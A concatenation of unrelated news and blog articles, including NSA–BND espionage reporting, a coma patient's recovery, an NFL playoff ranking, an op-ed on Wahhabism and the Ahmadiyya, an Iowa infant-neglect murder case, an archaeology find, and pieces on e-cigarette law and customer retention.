German intelligence helped the US National Security Agency (NSA) monitor the French presidential palace and foreign ministry officials as well as members of the European Commission, Germany’s Sueddeutsche Zeitung reported Thursday.
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Germany's BND foreign intelligence agency helped the NSA perform "political espionage" by watching "top officials at the French foreign ministry, the Elysée Palace and the European Commission", the German paper will report in an article to be published in its Thursday edition.
"The heart [of the problem] is political espionage of European neighbours and institutions of the European Union," the Sueddeutsche Zeitung wrote, citing a source with knowledge of BND procedures.
Chancellor Angela Merkel's government – which has long complained of being a target of snooping by the US – is now facing a series of embarrassing reports that German spies themselves acted on behalf of the NSA to monitor allies like France as well as German companies.
Economic espionage
Citing intelligence agency documents, the Bild daily reported on Monday that Merkel’s office was informed in 2008 – during Merkel's first term – of German involvement in US economic espionage.
The Sueddeutsche Zeitung also reported that spying on companies took place in isolated cases as the United States searched for "information on illegal exports".
German Interior Minister Thomas de Maiziere, who served as chief of staff at the chancellor's office from 2005-2009, has offered to speak next week to a parliamentary committee looking into the NSA’s practices.
Merkel’s opposition has already accused the government of lying for saying in a written statement on April 14 that it knew nothing about economic espionage by the NSA.
"I reject categorically the assertion that the government has not told the truth," Merkel spokesman Steffen Seibert said Wednesday at a previously scheduled press conference.
The latest revelations follow reports last week in Der Spiegel’s online edition that BND officials indirectly helped the NSA to spy on European targets, including German interests, over more than 10 years. BND officials provided intelligence data in up to 40,000 instances in accordance with US requests, the report said.
One of the NSA’s targets was Franco-German aerospace company EADS, which renamed itself Airbus Group last year and is a competitor in some industries to US aerospace giant Boeing.
Der Spiegel said BND officials passed on Internet IP addresses as well as mobile phone numbers to the NSA. The transfer of information was first detected internally in 2008 but was not reported to the chancellor’s office in full until last month, it said.
Germany reacted with outrage at revelations in 2013 by US intelligence leaker Edward Snowden that the NSA was conducting massive sweeps of Internet and phone data, including within Germany.
The revelations, which included claims that the NSA tapped Merkel's personal mobile phone, strained ties between Washington and Berlin.
(FRANCE 24 with AFP and REUTERS)FOR ten months, he had been lying in a hospital bed, unconscious and unresponsive.
The injuries Mathew Taylor had suffered in a motorbike crash were so severe that his devastated family were warned he may never wake up.
But then came the phone call that would change everything. From her home in Bali 11,000km away, Mr Taylor’s fiancee Handayani Nurul chatted to him – and at the sound of her voice, tears began trickling down his cheek.
It was the first time the 31-year-old had shown any sign of recovery since fracturing his skull in the horrific accident on the Indonesian island.
Now, every time the phone rings, Mr Taylor reaches out his hand.
Describing the moment Mr Taylor first responded to his fiancee’s voice, his stepfather Simon Moore said: ‘He had tears in his eyes as we held the phone to his ear. She asked him something and he said a silent yes.
"Then tears were coming down his face. It was brilliant."
Now, Mr Taylor’s mother Heather calls Miss Nurul, known as Anda, and passes the phone towards her son.
Mr Moore said: "As soon as he hears her voice he lifts his hand for the phone. He listens to her and you can see this change in him."
Mr Taylor, from Overseal, Derbyshire, met Miss Nurul, 27, after he moved to Indonesia in 2009 to teach English.
The couple planned to get married, but Mr Taylor was knocked down while riding a motorcycle in Bali on July 9 last year.
As well as a fractured skull, he had to have his eye socket reconstructed, using bone taken from his thigh.
Following surgery, he slipped into a coma and has remained in a vegetative state ever since.
Mr Taylor had no medical insurance, so his family were forced to raise £100,000 for him to be treated in Bali. His father, Darrell Taylor, contributed £50,000 of his savings, while Mr Moore remortgaged his home to find the remaining £50,000.
In October, Mr Taylor was transferred back to Britain, and his parents have kept a bedside vigil at Royal Derby Hospital ever since.
Miss Nurul managed to secure a visa so she could join them at his bedside for three months, but after that she was forced to return home to Bali, where she studies Dutch literature at the University of Indonesia.
Since the first phone call three weeks ago, Mr Taylor has slowly started to recover more movement in his body.
"He’s really come on," said Mr Moore. "He is still in a low awareness coma but he moves his hand left and right when the phone rings. We are so pleased he is recovering. We spend most of our days at hospital and some days are good and others bad but we take what we can get.
"We are just happy he is responding."
Yesterday Luke Griggs, spokesman for brain injury charity Headway, said Mr Taylor could now make a full recovery.
He said: "Coma arousal programmes are often used to try to stimulate patients who are in reduced states of consciousness, such as a coma or a persistent vegetative state.
"These carefully planned periods of stimulation - in the form of sound, touch, smell and taste - are combined with periods of complete rest in order not to overload the person’s senses.
"While each individual case is different, in general terms the longer a person remains in a state of reduced consciousness, the less likely they are to make a full recovery.
"We have heard of several examples of people waking from comas and going on to make good recoveries and live happy, fulfilled lives.
"Examples like this demonstrate that coma arousal programmes may well be effective."Don’t Forget to Vote in this Year’s GOLDIE AWARDS!!! With your help, they promise to at least be as good as the Packers were with Brett Hundley at quarterback.
The 2017 NFL season is in the books. During the regular season, controversy, injuries, and an overall lack in quality play made it one of the most maligned seasons in recent memory. Ratings were down and fan interest seemed to be waning. The NFL needed to get a home run out of the playoffs to save the season in the eyes of many…and boy did they get it. Despite a field lacking many traditional power teams and stars, the 2017 Playoffs were as enjoyable as any I’ve ever seen. Many new teams and faces made a name for themselves and combined to produce classic after classic. In the end, it was castoff backup quarterback Nick Foles outdueling the legendary Tom Brady in a Super Bowl shootout for the ages and delivering the Philadelphia Eagles, one of the NFL’s classic franchises, their first championship in nearly six decades. This postseason won’t be forgotten soon.
I began to wonder where I would rank the 2017 playoffs among the postseasons I’ve seen. I was born in 1987 and have seen every playoff game that occurred in my lifetime, including the last 23 seasons as they happened. Which was the best? Over the course of this week, I’ll rank each of the past 31 playoff seasons by their general excitement and watchablilty for football fans. I tried my best to remove my obvious Packers’ bias and assessed each year on things like the number of close games (decided by one score or less) vs. blowouts (decided by three or more scores), the number of upsets, and my own personal memories. In the event I found two years to be very similar, I gave the higher ranking to whichever year had the better Super Bowl. After all, how something ends usually determines how we feel about it in the long run. Obviously this is very subjective, but it should create the opportunity for some fun discussion.
I’ll be counting down five years each day, but since we have an odd number, today you’ll get an extra year. I’m sure you are very excited. Please share any comments you have below. On to the list!!
31. 2000
Super Bowl: Baltimore 34 NY Giants 7
Avg Margin of Victory: 17.73 pts
Close Games: 2
Blowouts: 6
Upsets: 6
Best Game: New Orleans 31 St. Louis 28 – NFC Wildcard
Worst Game: Baltimore 34 NY Giants 7 – Super Bowl XXXV
Eric’s Strongest Memory: Ravens and Giants score three Touchdowns in 36 Seconds (BAL vs NYG – Super Bowl XXXV)
The 2000 playoffs are most remembered for the sheer dominance of the Baltimore Ravens defense. In four games, they gave up just one offensive touchdown. Their opponents scored 23 total points (5.75 per game). Once you get past how damn impressive that is, all you are left with are some terrible football games. The Ravens offense didn’t help matters. In their run to a Super Bowl Championship, Baltimore’s offense failed to top 300 total yards a single time. QB Trent Dilfer never topped 200 yards passing and never completed more than 12 passes in a game (Remember that next time someone tells you that quarterbacks should be judged by championships). The rest of the playoffs were equally as boring. Five of 11 games saw the loser score 3 or fewer points. The only entertaining day of the entire playoffs was the first Saturday. The Dolphins opened the playoffs by beating the Colts 23-17 in overtime after a 17 yard Lamar Smith TD run. In the late game, the Saints were on their way to crushing the defending Super Bowl champion St. Louis Rams, before the Greatest Show on Turf came alive. The Rams rallied from 24 points down and closed to within 31-28 with about two minutes left. With the offense ready to embark on a game winning drive, Rams WR Az Hakim fumbled the Saints punt. New Orleans’ recovered and escaped with the franchise’s first playoff win. Those are the only highlights. If you are a crazy fan that likes to see touchdowns and close games, 2000 has almost nothing for you. I initially had this ranked higher due to enjoying Baltimore’s shocking run from the Wildcard Round as a teenager watching it live. As I was making this list, I kept pushing 2000 lower and lower. There literally aren’t any good games after the first day of the playoffs. I doubt even Ravens fans spend much time rewatching their snoozers from 2000. This year is terrible.
30. 1994
Super Bowl: San Francisco 49 San Diego 26
Avg Margin of Victory: 13.73 pts
Close Games: 4
Blowouts: 5
Upsets: 2
Best Game: San Diego 22 Miami 21 – AFC Divisional Round
Worst Game: San Francisco 49 San Diego 26 – Super Bowl XXIX
Eric’s Strongest Memory: Dennis Gibson breaks up Neil O’Donnell’s 4th down pass at the goaline (SD at PIT- AFC Championship)
These are the first playoffs I remember watching first hand. This is in the deepest depth of the Dallas and San Francisco domination of the league. They were really the only two teams with a serious chance to win a title that season. As expected, both steamrolled to the NFC Title game. Once there, they played a largely forgettable game, as the 49ers raced out in front 21-0 in the 1st quarter and held on to a two score lead throughout the game before winning 38-28. The Changers had an exciting run in the AFC by winning two last second heart-stoppers over Miami and Pittsburgh. Of course, that led to them getting squashed like a bug by the 49ers on Super Bowl Sunday in probably the most one-sided game I’ve ever seen. The rest of the playoffs offered little in the way of excitement. Lions/Packers and Chiefs/Dolphins played competitive games, but Detroit and Green Bay was very disappointing compared to their regular season shootouts and the Dan Marino vs. Joe Montana classic dual fizzled after halftime. The rest of the playoffs were either blowouts or poorly played games. This was about as uneventful as the NFL playoffs can be and it ended with a Super Bowl were Goliath effortlessly crushes David. As a kid who had made a custom Chargers jersey and banner in preparation for my very first Super Bowl experience, it was an early reminder that sports are not like movies or cartoons: your heroes usually lose at the end.
29. 2002
Super Bowl: Tampa Bay 48 Oakland 21
Avg Margin of Victory: 17.09 pts
Close Games: 3
Blowouts: 7
Upsets: 3
Best Game: San Francisco 39 NY Giants 38 – NFC Wildcard Round
Worst Game: Tampa Bay 31 San Francisco 6 - NFC Divisional Playoff
Eric’s Strongest Memory: Rich Gannon keeps throwing pick sixes in the Super Bowl (OAK vs TB – Super Bowl XXXVII)
There isn’t much remarkable about the 2002 playoffs – just a lot of one sided games. This was the only year in the first decade of the new millennium that the teams with first round byes played like the best teams in the league. Tennessee got a scare from the Steelers (and got a second chance on their game winning field goal due to a dubious roughing the kicker penalty), but the other three teams coasted to convincing blowout wins over the Wildcard winners. Neither conference title games were all that memorable either. The Super Bowl matched the Raiders number one offense vs. Tampa’s number one defense. The Bucs defense was the best offense AND defense that day, scoring as many points as the Raiders by themselves and cruised to the franchise’s first and only championship with a 48-21 win. Much like 2000, these playoffs only featured one solid day of action. The Steelers kicked off a wild Wildcard Sunday by fighting back from a 17 point deficit in the 2nd half to beat the Browns 36-33 in the snow and mud (yes, the new Browns actually almost won a playoff game once). This game is largely forgotten because that evening, the 49ers one-upped the Steelers. After falling down to the New York Giants 38-14 in the 3rd quarter, San Francisco scored on four straight possessions to take a 39-38 lead with a minute remaining. Then the game entered NFL folklore for its crazy ending. When attempting a game winning field goal, a poor snap by the Giants led to a wild scramble to get off a pass attempt. There were lineman downfield and an obvious tackle of a Giants “receiver” went uncalled by the referees. The Niners won and provided some of the only excitement for football fans in the 2002 playoffs. Ultimately, I prefer this year over 2000 because the Raiders’ blowouts had a lot of scoring and the Bucs defense is more interesting to watch than the Ravens due to all the touchdowns they score. Still, both years left you feeling empty.
28. 1992
Super Bowl: Dallas 52 Buffalo 17
Avg Margin of Victory: 18.18 pts
Close Games: 2
Blowouts: 8
Upsets: 4
Best Game: Buffalo 41 Houston 38 – AFC Wildcard Round
Worst Game: Buffalo 29 Miami 10 – AFC Championship Game
Eric’s Strongest Memory: Frank Reich throwing TDs to Andre Reed to power Buffalo’s comeback over the Oilers (HOU at BUF – AFC Wildcard Round)
If 1994 is the culmination of Dallas and San Francisco’s dominance, 1992 is the beginning. However, here the matchup still felt fresh, as these Cowboys were still new to the playoff scene and the teams hadn't played since Steve Young took the 49ers' quarterback reins from Joe Montana. This game is slightly better too, with the upstart Cowboys winning 30-20 at rainy Candlestick Park. The rest of the playoffs are mostly one-sided affairs. The 8 blowouts are the most in any playoff year on this countdown. However, there were a few highlights. Washington’s last stand under Joe Gibbs sees them take the 49ers to the limit in the Divisional Round before losing 20-13. The Eagles win their only playoff game of the Randall Cunningham/Reggie White era by coming from 13 points down in the 4th quarter and running away from the Saints 36-20. But this playoff year is forever defined by the Buffalo Bills and Frank Reich. Filling in for injured starter Jim Kelly, Reich led the Bills from 35-3 down in the second half to stun the Houston Oilers 41-38 in overtime. This is a classic that everyone should see. The remainder of the Bills run is largely terrible. They beat Pittsburgh and Miami by a combined 49-13 and then get demolished by Dallas 52-17 in the Super Bowl. Despite the awful Super Bowl capstone, I went with the AFC Championship as the worst game of the 1992 playoffs. Buffalo and Miami had many classic matchups in the 1990s, but their meeting in the conference finals was a sloppy, mistake-filled, bore of a game. It was obvious to even the most casual football fans that the winner was going to be nothing but a mere speed bump for the NFC winner on their road to a championship in Super Bowl XXVII. |
Saudi Arabia and the new world order
Afghanistan was not the first instance in the modern era of geopolitical aims leveraging a radical ideology. Saudi Arabia, a key relationship in the war on terror now frowned upon by media and the public, was born out of the ashes of the First World War. The Saud’s genesis to power was fueled by the Wahhabist doctrine as a pan-Islamic movement underwritten by an eschatological zeal of an Armageddon-like victory over anyone with a different view of God and religion, Muslim or non-Muslim.
Col. T.E. Lawrence, romanticized as Lawrence of Arabia, warned that the Wahhabis were posing as reformists, that they hardly represented Islam, and if they prevailed, “we would have in the place of the tolerant, rather comfortable Islam of Mecca and Damascus, the fanaticism of Nejd (birthplace of Wahhabism), intensified and swollen with success.”
The Saudi-Wahhabi consortium, fighting their Ottoman occupiers, successfully channeled their zeal into the battlefield and emerged as the new sheriffs of Mecca and Medina. And, they would soon reap prolific oil wealth to propagate their condemnation of the freedom that permitted a multitude of Islamic sects and schools across the Muslim world.
Pakistan and The Ahmadiyya
Pakistan has been a major recipient of Saudi-Wahhabist largesse, in funds and in ideology. The nation’s clerical-ideological godfather, Maulana Maududi, in his book “Jihad in Islam,” proclaimed that subjugating states and governments was “the program and ideology of Islam.” He was a recipient of the Saudi King Faisal award and has been quoted in sermons by ISIS leader Abu Bakr al-Baghdadi.
Moving smack into the cross-hairs of Maududi and the far-right clergy was The Ahmadiyya Muslim community that propagated jihad as essentially a spiritual and moral struggle. The movement’s founder, Mirza Ghulam Ahmad (1835-1908), wrote in his book, “British Government and Jihad,” “Today’s Islamic scholars completely misunderstand jihad and misrepresent it to the general public, clerics who persist in propagating these blood-spattered doctrine.”
In 1953, Maududi and a coterie of hardline clerics published and distributed anti-Ahmadiyya hate-literature that led to riots with hundreds reported killed. Martial law was imposed and a military court sentenced Maududi to death for his role in orchestrating the riots. He was subsequently released, reportedly upon Saudi insistence.
In 1974 the hardliners finally succeeded in making the government bend to its demands. Pakistan’s parliament amended its constitution to ex-communicate the Ahmadiyya Muslim community — again, reportedly under Saudi pressure. Pakistan then intensified its anti-Ahmadiyya campaign by legislating Ordinance XX in 1984 imposing prison terms for any Ahmadi practicing any emblem of Islam: even saying “As-salaamu-Alaikum” (peace be on you) carries a three-year prison sentence. As Pak-Saudi plans to destroy the Ahmadiyya movement intensified, its caliph (leader) migrated to London that same year.
All this occurred as U.S. foreign policy took Saudi Arabia and Pakistan as allies against the Soviets in Afghanistan, while cultivating extremists around the world and transporting them to Afghanistan in what came to be known as Charlie Wilson’s War.
Combating radicalism: Freedom of religion
Finally, in October of 1998, Bill Clinton William (Bill) Jefferson ClintonKasich fundraises off 2020 speculation Inviting Kim Jong Un to Washington Howard Schultz must run as a Democrat for chance in 2020 MORE signed into law the International Religious Freedom Act mandating the establishment of an office of Religious Freedom in the Department of State.
Though it is encouraging to see official support for the cause, the office simply does not enjoy the needed level of influence.
Government policy analysts have long underscored the need for pressing freedom of religion to mitigate radicalization abroad. William Inboden, former senior director on the National Security Council, emphasized, “there is not a single nation in the world that both respects religious freedom and poses a security threat to the United States... including World War II, every major war the United States has fought over the past 70 years has been against an enemy that also severely violated religious freedom.”
Holding up a firm criterion of the freedom of religion in foreign policy will scrub our own initiatives of any double-standard with allies. And, as history dictates, it will check against reacting into ideally (and morally) ambiguous alliances under geopolitical impulses.
U.S. foreign policy needs to reflect our commitment to the merit and character of our democracy. It must vet our foreign alliances, to ensure they are not constitutionally feeding the very doctrines that threaten our national security and are antithetical to our values: the freedom of religion.
Amer Aziz is a member of The Muslim Writers Guild of America and blogs at The Huffington Post and OnFaith. The views expressed here are solely his own. Follow him @WriterForAhmad.
The views of contributors are their own and are not the views of The Hill.Photo credit: Chickasaw Sheriff
A couple in Iowa have been charged in the disgusting murder or their own four month old child.
How any parent could kill their offspring is beyond me but the details of this particular case are quite graphic so consider this a spoiler to anyone who's easily upset by graphic descriptions.
The Chickasaw County Sheriff’s Office say that they were called to a home in Alta Vista, Iowa at around 12 PM back in August about a four month old child who was unresponsive and they immediately dispatched by emergency medical responders and police to an apartment on Wilson Street to assist.
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However once law enforcement went inside of the home it was as if they had just walked into a horror movie, with the scene of human feces and sewage, filth, and decomposition filling the air.
Once authorities began searching the house they saw the four month old child, Sterling Daniel Koehn, in a baby swing, rotting and covered head to toe in maggots.
An investigation immediately occurred at the scene which was clearly a crime scene, and angry officers wanted answers as to how this could have happened.
28 year old Zachary Paul Koehn, and 20 year old Cheyanne Renae Harris, the biological parents of the now deceased child Sterling; were immediately taken in for questioning.
Court records show that Koehn told the police that Harris had fed the child at around 9:30 AM and everything was fine thereafter. He then claimed that when she went back in between 11 and 11:30 AM the infant child was dead when she found him.
While authorities had their doubts, they had to wait for an autopsy to be certain.
During the autopsy, the medical examiner found maggots in the boy’s clothing and skin, and the maggots’ development was studied by a forensic entomologist to determine a timeline.
“The study of the maggots growth and development indicated that the child had not had a diaper change, bath, or been removed from the seat in over a week,” the deputy wrote in court records.
The baby was literally sitting in the same spot, in a filthy diaper for at least a week, with maggots crawling in and out of his diaper as he actually died from unsanitary and unhealthy conditions, a complete neglect.
The autopsy found they the boy weighed less than seven pounds at the time of the examination.
The Iowa State Medical Examiner’s Office ruled that the death was indeed a homicide with the cause of death being failure to provide critical care.
“The facts of this case go far beyond neglect and show circumstances manifesting an extreme indifference to human life,” one Chickasaw County Sheriff’s Deputy wrote in official court records which intended to bring charges against the parents.
However after the autopsy neither of the two evil parents could be located by police, prompting a major manhunt.
After two long months of searching the parents were finally located on October 25th by authorities in separate jurisdictions who had received tips as to their whereabouts.
Sheriff's deputies in both Mitchell and Fayette counties, as well as the Charles City Police Department all participated in the arrests, however they exact locations where they were arrested was not disclosed.
Both Zachary Paul Koehn and Cheyanne Renae Harris are now being detained in the Chickasaw County Jail on individual $100,000 cash bonds on the charges of first-degree murder and felony child endangerment for their own child's death.
In Iowa, a first-degree murder conviction will result in a mandatory life in prison sentence, which unfortunately will still not be justice for the poor child who never had an opportunity to enjoy life.
Chief Deputy Reed Palo asked anyone with further information regarding the suspects, the child, or anything that could help to prosecute the case to contact him at (641) 394-3121.
Source:
https://www.seattletimes.com/nation-world/parents-charged-in-death-of-infant-found-rotting-in-swing/
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Tips? Info? Send me a message!Archaeologists from the Israel Antiquities Authority have unearthed a temple and a cache of sacred vessels dating from around 738 BC during excavations at the archaeological site of Tel Motza on the western outskirts of Jerusalem.
“The ritual building at Tel Motza is an unusual and striking find, in light of the fact that there are hardly any remains of ritual buildings of the period in Judaea at the time of the First Temple. The uniqueness of the structure is even more remarkable because of the vicinity of the site’s proximity to the capital city of Jerusalem, which acted as the Kingdom’s main sacred center at the time,” according to archaeologists Dr Anna Eirikh, Dr Hamoudi Khalaily and Shua Kisilevitz.
“The current excavation has revealed part of a large structure, from the early days of the monarchic period. The walls of the structure are massive, and it includes a wide, east-facing entrance, conforming to the tradition of temple construction in the ancient Near East: the rays of the Sun rising in the east would have illuminated the object placed inside the temple first, symbolizing the divine presence within.”
They said a square structure, which was probably an altar, was exposed in the temple courtyard, and the cache of sacred vessels was found near the structure.
“Among other finds, the site has yielded pottery figurines of men, one of them bearded, whose significance is still unknown.”
“The assemblage includes ritual pottery vessels, with fragments of chalices – bowls on a high base which were used in sacred rituals, decorated ritual pedestals, and a number of pottery figurines of two kinds: the first, small heads in human form with a flat headdress and curling hair; the second, figurines of animals – mainly of harnessed animals.”
“The find of the sacred structure together with the accompanying cache of sacred vessels, and especially the significant coastal influence evident in the anthropomorphic figurines, still require extensive research,” the archaeologists explained.
Ritual elements in the Kingdom of Judah are recorded in archaeological research, especially from the numerous finds of pottery figurines and other sacred objects found at many sites in Israel, and these are usually attributed to domestic rituals. However, the remains of ritual platforms and temples used for ritual ceremonies have only been found at a few sites of this period.
“The finds recently discovered at Tel Motza provide rare archaeological evidence for the existence of temples and ritual enclosures in the Kingdom of Judah in general, and in the Jerusalem region in particular, prior to the religious reforms throughout the kingdom at the end of the monarchic period (at the time of Hezekiah and Isaiah), which abolished all ritual sites, concentrating ritual practices solely at the Temple in Jerusalem,” the scientists said.BERKELEY — Contrary to some recent social media posts and a press report, students from Ireland do not face systematic discrimination when trying to rent an apartment here, a leading Irish diplomat says. And there is no backlash against Irish students in the wake of the tragic collapse of a balcony at a downtown apartment building last year that killed five young Irish people and one Irish-American and badly injured seven more, Philip Grant, Ireland’s consul general in San Francisco, said Wednesday.
“The sentiment in Berkeley toward Irish students is very welcoming,” Grant said, adding that it has been so for the more than two decades that the students have been coming to the area in large numbers on so-called J-1 visas under a U.S. State Department-sponsored program that allows young people to work or study in the United States. He also noted the intense outpouring of grief from Berkeley residents after the June 16, 2015 early-morning collapse of the fifth-floor balcony at the Library Gardens apartment complex on Kittredge Street that killed Olivia Burke, Eimear Walsh, Eoghan Culligan, Niccolai Schuster and Lorcán Miller, all 21 and from Ireland, and Ashley Donohoe, 22, of Rohnert Park.
Grant was commenting on a story earlier this week in The Irish Voice titled “Irish students not welcome in Berkeley, CA after balcony deaths,” available at bit.ly/1ZerT4i, which reported claims that Berkeley landlords are refusing to rent to Irish students on J-1 visas.
“There’s no truth in it,” Grant said, adding, “If (Berkeley) were a hostile environment, the students wouldn’t come here.”
He said about 700 Irish students come to the Bay Area every year on J-1 visas out of a total of 7,000 to 8,000 nationwide.
According to the Irish Voice report, “Many of the young Irish denied housing have expressed their anger to Irish media outlets about the banning because of the balcony incident and the general reputation for partying that Irish students have.”
Grant said Irish students face many of the same difficulties finding housing in Berkeley’s notoriously tight real estate market as American students. They may have an even harder time, as a matter of logistics, providing documentation from sources abroad of income, bank accounts and other proofs of ability to pay rent.
The frustration of a prolonged, unsuccessful apartment search can lead to erroneous conclusions, Grant said.
“Don’t make the mistake of adding up one and one and coming up with three,” he counseled.
Grant suggested that Irish students with J-1 visas contact the Irish Immigration and Pastoral Center in San Francisco for help finding an apartment. The center’s phone number is 415-752-6006 and its website is www.sfiipc.org.
The Irish Voice story quoted Paraic, a student from Limerick, saying he and a group of friends had secured an apartment at Library Gardens and “had everything sorted, deposit ready to go.”
“And then he said” — it is unclear whom “he” refers to — —‰’Oh, sorry, are you actually Irish?’ Straight away there was an excuse,” Paraic is quoted.
An inquiry to the rental office at Library Gardens was forwarded to Tim Cook, media coordinator for Greystar, the company that manages the complex. Cook said Wednesday he needs to research the matter before commenting.
Contact Tom Lochner at 510-262-2760. Follow him at Twitter.com/tomlochner.Joe Raedle/Getty Images
Sales of electronic cigarettes are now banned in Western Australia under a landmark legal case which could see the habit-kicking devices outlawed across Australia.
In an action against electronic cigarette seller HeavenlyVapours, the Supreme Court ruled the business sold a product designed to resemble a cigarette which was in breach of the Tobacco Products Control Act 2006 (WA).
The court found that e-cigarettes look like a cigarette, are shaped like a cigarette and the steam or vapour looks like smoke, and therefore are in breach of the law.
The case has been going since 2011 when the WA Health Department arrived at the home of Vincent Van Heerden, which he was using to start his small business HeavenlyVapours, with a search warrant and three black SUVs.
Nine electronic cigarette atomisers and 60 packages of electronic cigarettes were seized by The Health Department
Later the charges were rejected in the Magistrates Court but the Health Department successfully appealed to the Supreme Court.
The result is that anyone in Western Australia over the age of 18 can buy a packet of cigarettes and take the nicotine and chemicals straight into their lungs. But they now can’t buy a battery-powered electronic cigarette which uses a purer form of nicotine, turned into vapour, and is a tool for quitting smoking.
Van Heerden is due to be sentenced in the next two weeks. He has started a crowd fund to finance continuing action to free electronic cigarettes from legal constraints. So far, he’s raised $19,600 of a $50,000 target.
“We can and will defend our right to make informed choices and to choose, where possible, a less harmful alternative,” Van Heerden says.
He says the court decision now means any model of e-cigarette is illegal by case law precedent.
“One can only imagine that the other states may now try to follow suit,” he says.
Roger Magnusson, Professor of Health Law and Governance at the University of Sydney, says the WA Supreme Court Judgement has definite implications for e-cigarette retailers in other states.
Tobacco control laws in other mainland states including NSW, Queensland and South Australia all contain similar provisions which create an offence for selling or which permit the banning (Victoria) products which resemble a tobacco product.
In Tasmania and the ACT, the prohibition on sale of products which resemble a smoking or tobacco product applies only to toys or confectionery. In the Northern Territory, the prohibition on sale of products resembling tobacco products only applies if the product is designed or marketed for by children.
Professor Magnusson says e-cigarette companies in Australia are either engaged in “an act of bravery, or are very much hoping the Hawkins case will be overturned on appeal”.
There are no shortages of e-cigarette vendors in Australia, In Sydney, Evo Vaporizer retails from Westfield Shopping Centre in Chatswood and offers a premium kit online for $200.
Professor Magnusson says it’s breathlessly naïve to assume e-cigarettes will function only or mainly as stop-smoking devices.
“US research suggests these products are a gateway to smoking as often as a gateway from smoking,” he says.
“If they are such a great quit smoking device, they might nevertheless be made available to smokers on prescription. That would give smokers an alternative option, while minimising the creation of a new market for recreational nicotine that may well lead to smoking addiction for many of those new initiates, a great many of whom will be adolescents and young people.
“The fact that e-cigarettes are supposed to be cool, and “e-cigarettes makes smoking cool again”, reinforces the public health benefits of ensuring these products do not become ubiquitous.”
Nicotine is Schedule 2 drug in Australia which means it can only be sold through a pharmacies. Many Australians order nicotine cartridges for e-cigarettes online from New Zealand. Until now, the electronic cigarette devices themselves have been freely available sale in Australia.
A New Zealand study in the medical journal Lancet found electronic cigarettes are modestly effective in helping people quit cigarette smoking.
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Follow Business Insider Australia on Facebook, Twitter, LinkedIn, and Instagram.Businesses lose a significant percentage of their customers every year, simply due to poor customer relationships. Retaining customers is undoubtedly the most critical aspect of any business, as bringing in new clients takes a lot of effort, money and time. According to a survey, getting a new customer is five times more costlier for a business, than retaining an existing one.
Poor customer retention can become damaging for a business over time. Even a slight reduction in customer retention rate can permeate through the entire business process and multiply in future. This impacts the long-term profit and growth of the company and so, it is something not to be underestimated.
Below I have jotted down some customer retention strategies that are cost effective and easy to implement. Following these comprehensive steps will help improve your customer retention rate and eventually, your bottom line:
Keep Customers Satisfied: The most basic client retention strategy is to keep the customers happy and contented with your services. Happy customers are more likely to tell their friends and family about your business, resulting in a positive word of mouth publicity. Keeping your customers satisfied and maintaining strong relationships not only turns them into your loyal customer, but also increases the chances of getting more such customers who trust your business services.
Happy Employees make Happy Customers: If you take care of your employees, they will take care of your customers. When employees are allowed to participate in company matters, they assume a sense of responsibility and are likely to work as a leader. Employees who are given the opportunity to be heard, are able to deliver personal experience to clients which helps to build customer loyalty.
Reduce Customer Outflow: Not each and every customer can be retained for ever and it is normal for businesses to lose some of their clients. However, only a few business owners analyze the data of customers becoming inactive and the reasons behind it. You cannot resolve an issue, unless you know what is wrong. And so, it is important that you measure why your clients are leaving in first place. Once the problems have been identified, it becomes easy to take preventive measures to stop the customer leakage.
Don’t let Customers go Unattended: As a business owner, it is important to constantly work on keeping your clients loyal to you. However, majority of businesses tend to focus more on building initial relations with customers and once the sale has been made, they let this relationship go unattended. Due to this, clients feel neglected. They silently walk away elsewhere and you keep losing important customers, without even knowing about it. Therefore, you should always follow up with clients after the completion of each and every project. You should always be around for the client to look up to in case of need or help.
Win back lost Customers: Bringing back lost customers is another feasible step to improve the customer retention rate. It is better to approach your dormant customers first rather than spending resources and time on generating new ones. Old customers are more likely to be receptive to your efforts than the new clients, as the latter don’t have experience of working with you. For this reason, it is prudent to regain the lost customers before they switch their service provider.
Involve Customers and Engage with them: Involving customers in design and delivery of service and other areas of business operations is a long lasting customer retention strategy. You should be open to customers’ ideas and suggestions in order to come up with a customized solution that fits well with their needs. On top of that, inviting customers to company events, picnics, parties and social gatherings, etc. makes them feel valued. Customers love to get associated with businesses that offer them a familiar and friendly atmosphere, one where they can express themselves and raise their business concerns.
Enhance Customer Service and Support: No matter how big your business is or how good your products are, customers always remember how well they were treated when doing business with you. The direct interaction that customers have with your company is an important determinant of clients’ relationship with your business. A dedicated and personalized customer service staff, that is readily available for help during any time of the day demonstrates that the company cares about its clients.
Improve your Offerings: In the ever evolving business world, delivering great service to retain customers is not sufficient anymore. You should continue to evolve your offerings in line with industry growth and help your customers stay ahead of the competition. Customers are likely to trust businesses that remain updated with latest solutions and best practices in the industry. Thus, it is important for you to to keep up with recent developments in business, in order to deliver updated solutions to customers.
Work Integrity: Maintaining work integrity promises long term association with customers, based on trust and mutual understanding. Whereas ethical shortcuts and overpromising may give a bad name to your business, resulting in customer mistrust. As a business owner, you should explain the benefits of ethical conduct to your staff. You need to make sure that your products and services are consistent with your marketing message and promotions. The quality, design and other features of your product or service must be of same standard as your customers need and expect.
With the help of these tips, you can put your ideas and options in a logical sequence. Instead of constantly working on finding new clients, it is better to take care of your existing customers first. Finding new clients becomes easier when your existing customers are happy with your services.
About the Author
Anand (@ananddamanica) is a Serial Entrepreneur and Startup Advisor with over 20 years of experience in the Manufacturing Sector, International Trade, Custom software, Web & Mobile App. Development. He has provided IT integration guidance to over 200 SME & Startup Clients across the globe. A Chartered Accountant by education and an Entrepreneur at heart, Anand has a knack for simplifying 'complex' problems. He shares his expertise in business and management, and also writes about his passion– Yoga, in his blog: www.ananddamani.com/blog
He believes Yoga is not just exercise for mind & body but a Philosophy, that should be applied in life as well. You can reach him at: anand@ananddamani.com.The Philadelphia Eagles are set to take on the New York Jets in a battle of backups at Lincoln Financial Field. Matt Barkley will start at quarterback for the Eagles as several other players look to make the team. New York will showcase former Philadelphia starting passer Michael Vick in the matchup.
Follow @BrandonGowton Follow @mike_e_kaye
Thursday's game will offer an opportunity for the likes of Ifeanyi Momah, Quron Pratt, Damaris Johnson, Arrelious Benn and Jeff Maehl in their battle for the sixth wide receiver spot (that may not exist). Running backs Matthew Tucker, Henry Josey and Kenjon Barner will also try to make positive impressions with the coaching staff heading into final cuts. There will also be a spotlight on the ever-polarizing kicker competition as well.
TV Schedule
Date: Thursday, August 28th, 2014
Time: 7:00 p.m. EST
Channel: WPVI (ABC/6 - Philadelphia) | WCBS (CBS/2 - New York)
Announcers: Scott Graham, Brian Baldinger (Philadelphia) | Ian Eagle, Greg Buttle (New York)
